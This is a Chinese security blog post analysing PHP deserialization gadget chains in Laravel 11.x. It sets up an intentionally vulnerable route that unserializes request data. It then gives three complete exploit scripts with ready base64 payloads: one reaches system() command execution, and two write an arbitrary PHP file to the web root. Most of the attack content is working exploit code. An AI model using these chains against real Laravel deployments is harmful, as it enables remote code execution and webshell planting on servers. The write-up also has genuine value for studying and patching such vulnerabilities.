Laravel 11.x 反序列化链分析

Laravel 是用 PHP 编写的开源 Web 应用程序框架。Laravel发布了一个反序列化漏洞,分析过程参考https://gitee.com/Q16G/laravel_bug/blob/master/laravelBug.md,分析过后尝试寻找其他的利用链,最终找到两条利用链

前言

Laravel 是用 PHP 编写的开源 Web 应用程序框架。Laravel发布了一个反序列化漏洞(CVE-2024-40075),分析过程参考https://gitee.com/Q16G/laravel_bug/blob/master/laravelBug.md,分析过后尝试寻找其他的利用链,最终找到两条利用链

环境搭建

composer create-project laravel/laravel laravel

这里获取到的版本是11.19.0的,接着在routes\web.php下添加一个入口

Route::get('/vuln', function (\Illuminate\Http\Request $request) {
    $data = $request->input("data");
    unserialize(base64_decode($data));
});

反序列化链1

反序列化链起点在Illuminate\Broadcasting\PendingBroadcast#__destruct()下,这里可以构造$this->events的值,调用到任意类下的dispath()方法

image-20240730115435854.png

这里选择的是src/Illuminate/Bus/Dispatcher类,如果$this->queueResolver && $this->commandShouldBeQueued($command)为true就会调用到$this->dispatchToQueue()

image-20240730121856332.png

$this->queueResolver的值可控,跟进到$this->commandShouldBeQueued()下,该方法用于判断$command是否继承了ShouldQueue类

// 这里使用的是QueuedCommand类,该类继承了ShouldQueue
$this->event=new Illuminate\Foundation\Console\QueuedCommand()

image-20240730122050788.png

跟进到dispatchToQueue()下,$this->queueResolver的值可控,$connection的值通过$command->connection获得,$connection是Queueable类下的属性也是可控的,所以就可以构造反序列化链了

image-20240730122929397.png

image-20240730122718805.png

调用栈

PendingBroadcast#__destruct()
Dispatcher#__dispatch()
Dispatcher#dispatchToQueue()

完整exp

<?php
namespace Illuminate\Foundation\Console {
    Class QueuedCommand{
        public $connection;
        public function __construct(){
            $this->connection = "calc";
        }
    }
}
namespace Illuminate\Bus {
    Class Dispatcher {
        protected $queueResolver;
        public function __construct() {
            $this->queueResolver = "system";
        }
    }
}
namespace Illuminate\Broadcasting {
    use Illuminate\Foundation\Console\QueuedCommand;
    use Illuminate\Bus\Dispatcher;
    Class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new QueuedCommand();
        }
    }
}

namespace {
    $obj = new Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($obj));
}
/*
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7Tzo0MzoiSWxsdW1pbmF0ZVxGb3VuZGF0aW9uXENvbnNvbGVcUXVldWVkQ29tbWFuZCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo0OiJjYWxjIjt9fQ==
*/

反序列化链2

在抽象类Handler中__destruct()魔术方法中调用了close(),而GroupHandler类继承了Handler类,所以可以调用到close()

image-20240731111535585.png

image-20240731111807251.png

在GroupHandler#close()中需要调用到Stream#close(),而Stream是一个抽象类,FileRead继承了Stream,所以可以实例化FileRead类

$this->handlers = [new FileRead()];

image-20240731112108438.png

在该方法下,$this->getStreamName()的返回值是可控的,接着会调用md5($streamName),如果$streamName是一个对象的话,就会调用到该对象下的__toString()方法

image-20240731112436640.png

这里使用的类是InvokableComponentVariable类,在__toString方法下又调用了$this->__invoke()

在__invoke()中,$this->callable是可控的,它是一个可调用对象,call_user_func()函数会将这个可调用对象作为参数来执行它,也就是说现在通过控制$this->callable的值可以调用到其他类的方法

// 所调用的方法满足以下条件
1、方法类型为public
2、方法无需参数

image-20240731112751172.png

这里选择调用的是PhpOption\LazyOption#getIterator()

$this->callable = [new LazyOption(), "getIterator"];

image-20240731122123380.png

跟进到this->option(),可以看到这里再次出现了call_user_func_array(),$this->callback和$this->arguments都是可控的,这里就可以通过call_user_func_array()就可以调用到其他类的有参方法

image-20240731122159665.png

这里找到了Illuminate\Filesystem\Filesystem类下面的put()方法,$pach和$contents的值可以通过$this->arguments传递进来

$this->callback = [new Filesystem(), "put"];
$this->arguments = ["111111.php","<?php phpinfo();?>"];

image-20240731162159680.png

由于这条链子可以通过call_usr_func_array()调用到其他类的有参方法,所以还存在很多的利用点

调用栈

Handler#__destruct()
GroupHandler#close()
Stream#__close()
InvokableComponentVariable#__toString()
InvokableComponentVariable#__invoke()
LazyOption#getIterator()
LazyOption#option()
Filesystem#put()

完整exp如下,执行之后会在public目录下生成111111.php文件

<?php
namespace Illuminate\Filesystem {
    class Filesystem {}
}
namespace PhpOption {
    use Illuminate\Filesystem\Filesystem;
    class LazyOption {
        private $callback;
        private $arguments;
        public function __construct() {
            $this->callback = [new Filesystem(), "put"];
            $this->arguments = ["111111.php","<?php phpinfo();?>"];
        }
    }
}
namespace Illuminate\View {
    use PhpOption\LazyOption;
    class InvokableComponentVariable {
        protected $callable;
        public function __construct() {
            $this->callable = [new LazyOption(), "getIterator"];
        }
    }
}
namespace Psy\Readline\Hoa{
    use Illuminate\View\InvokableComponentVariable;

    abstract Class Stream{
        protected $_bucket;
        public function __construct(){
            $this->_bucket = [new InvokableComponentVariable()];
        }
    }
    Class FileRead extends Stream {}
}

namespace Monolog\Handler{
    use Psy\Readline\Hoa\FileRead;
    Class GroupHandler{
        protected array $handlers;
        public function __construct(){
            $this->handlers = [new FileRead()];
        }
    }
}

namespace {
    $obj = new Monolog\Handler\GroupHandler();
    $str = base64_encode(serialize($obj));
}

/*
TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086MjU6IlBzeVxSZWFkbGluZVxIb2FcRmlsZVJlYWQiOjE6e3M6MTA6IgAqAF9idWNrZXQiO2E6MTp7aTowO086NDI6IklsbHVtaW5hdGVcVmlld1xJbnZva2FibGVDb21wb25lbnRWYXJpYWJsZSI6MTp7czoxMToiACoAY2FsbGFibGUiO2E6Mjp7aTowO086MjA6IlBocE9wdGlvblxMYXp5T3B0aW9uIjoyOntzOjMwOiIAUGhwT3B0aW9uXExhenlPcHRpb24AY2FsbGJhY2siO2E6Mjp7aTowO086MzI6IklsbHVtaW5hdGVcRmlsZXN5c3RlbVxGaWxlc3lzdGVtIjowOnt9aToxO3M6MzoicHV0Ijt9czozMToiAFBocE9wdGlvblxMYXp5T3B0aW9uAGFyZ3VtZW50cyI7YToyOntpOjA7czoxMDoiMTExMTExLnBocCI7aToxO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7fX1pOjE7czoxMToiZ2V0SXRlcmF0b3IiO319fX19fQ==
*/

反序列化链3

这条链实际上是链2的另一个利用点,这里也放出来,这条链有版本的限制,上面的利用链在11.19.0和11.5.0版本中测试都可以利用

下面这条链在11.5.0中测试可以利用,在11.19.0版本由于移除了相应的依赖而无法使用

在11.19.0中移除了spatie/laravel-ignition依赖,而反序列化链3的gadget需要利用到该依赖,可以通过项目的composer.json文件查看是否存在对应的依赖

image-20240731164620477.png

image-20240731164648201.png

在链2是通过Filesystem#put()中的file_put_contents来写入的,而链三使用的是FileConfigManager#save()

image-20240731141924229.png

save()方法首先会调用$this->createFile()判断$this->file文件是否存在,不存在的话会先生成该文件

image-20240731142052717.png

接着调用saveToFile(),该方法里又调用了writeToFile()将内容写入文件

image-20240731142220843.png

<?php
namespace Spatie\Ignition\Config {
    class FileConfigManager {
        private string $file;
        private string $path;
        public function __construct() {
            $this->path = "1";
            $this->file = "111111.php";
        }
    }
}
namespace PhpOption {
    use Spatie\Ignition\Config\FileConfigManager;
    class LazyOption {
        private $callback;
        private $arguments;
        public function __construct() {
            $this->callback = [new FileConfigManager(), "save"];
            $this->arguments = [["<?php phpinfo();?>"]];
        }
    }
}
namespace Illuminate\View {
    use PhpOption\LazyOption;
    class InvokableComponentVariable {
        protected $callable;
        public function __construct() {
            $this->callable = [new LazyOption(), "getIterator"];
        }
    }
}
namespace Psy\Readline\Hoa{
    use Illuminate\View\InvokableComponentVariable;

    abstract Class Stream{
        protected $_bucket;
        public function __construct(){
            $this->_bucket = [new InvokableComponentVariable()];
        }
    }
    Class FileRead extends Stream {}
}

namespace Monolog\Handler{
    use Psy\Readline\Hoa\FileRead;
    Class GroupHandler{
        protected array $handlers;
        public function __construct(){
            $this->handlers = [new FileRead()];
        }
    }
}

namespace {
    $obj = new Monolog\Handler\GroupHandler();
    $str = base64_encode(serialize($obj));
    echo $str;
}

/*
TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086MjU6IlBzeVxSZWFkbGluZVxIb2FcRmlsZVJlYWQiOjE6e3M6MTA6IgAqAF9idWNrZXQiO2E6MTp7aTowO086NDI6IklsbHVtaW5hdGVcVmlld1xJbnZva2FibGVDb21wb25lbnRWYXJpYWJsZSI6MTp7czoxMToiACoAY2FsbGFibGUiO2E6Mjp7aTowO086MjA6IlBocE9wdGlvblxMYXp5T3B0aW9uIjoyOntzOjMwOiIAUGhwT3B0aW9uXExhenlPcHRpb24AY2FsbGJhY2siO2E6Mjp7aTowO086NDA6IlNwYXRpZVxJZ25pdGlvblxDb25maWdcRmlsZUNvbmZpZ01hbmFnZXIiOjI6e3M6NDY6IgBTcGF0aWVcSWduaXRpb25cQ29uZmlnXEZpbGVDb25maWdNYW5hZ2VyAGZpbGUiO3M6MTA6IjExMTExMS5waHAiO3M6NDY6IgBTcGF0aWVcSWduaXRpb25cQ29uZmlnXEZpbGVDb25maWdNYW5hZ2VyAHBhdGgiO3M6MToiMSI7fWk6MTtzOjQ6InNhdmUiO31zOjMxOiIAUGhwT3B0aW9uXExhenlPcHRpb24AYXJndW1lbnRzIjthOjE6e2k6MDthOjE6e2k6MDtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO319fWk6MTtzOjExOiJnZXRJdGVyYXRvciI7fX19fX19
*/

参考

https://gitee.com/Q16G/laravel_bug/blob/master/laravelBug.md

  • 发表于 2024-08-06 09:38:21
  • 阅读 ( 5220 )
  • 分类:开发框架

3 条评论

Q16G
laravel的链子还是比较简单的
请先 登录 后评论
Q16G
👍
请先 登录 后评论
Q16G
还是比较简单的
请先 登录 后评论
请先 登录 后评论
kakakakaxi
kakakakaxi

7 篇文章

站长统计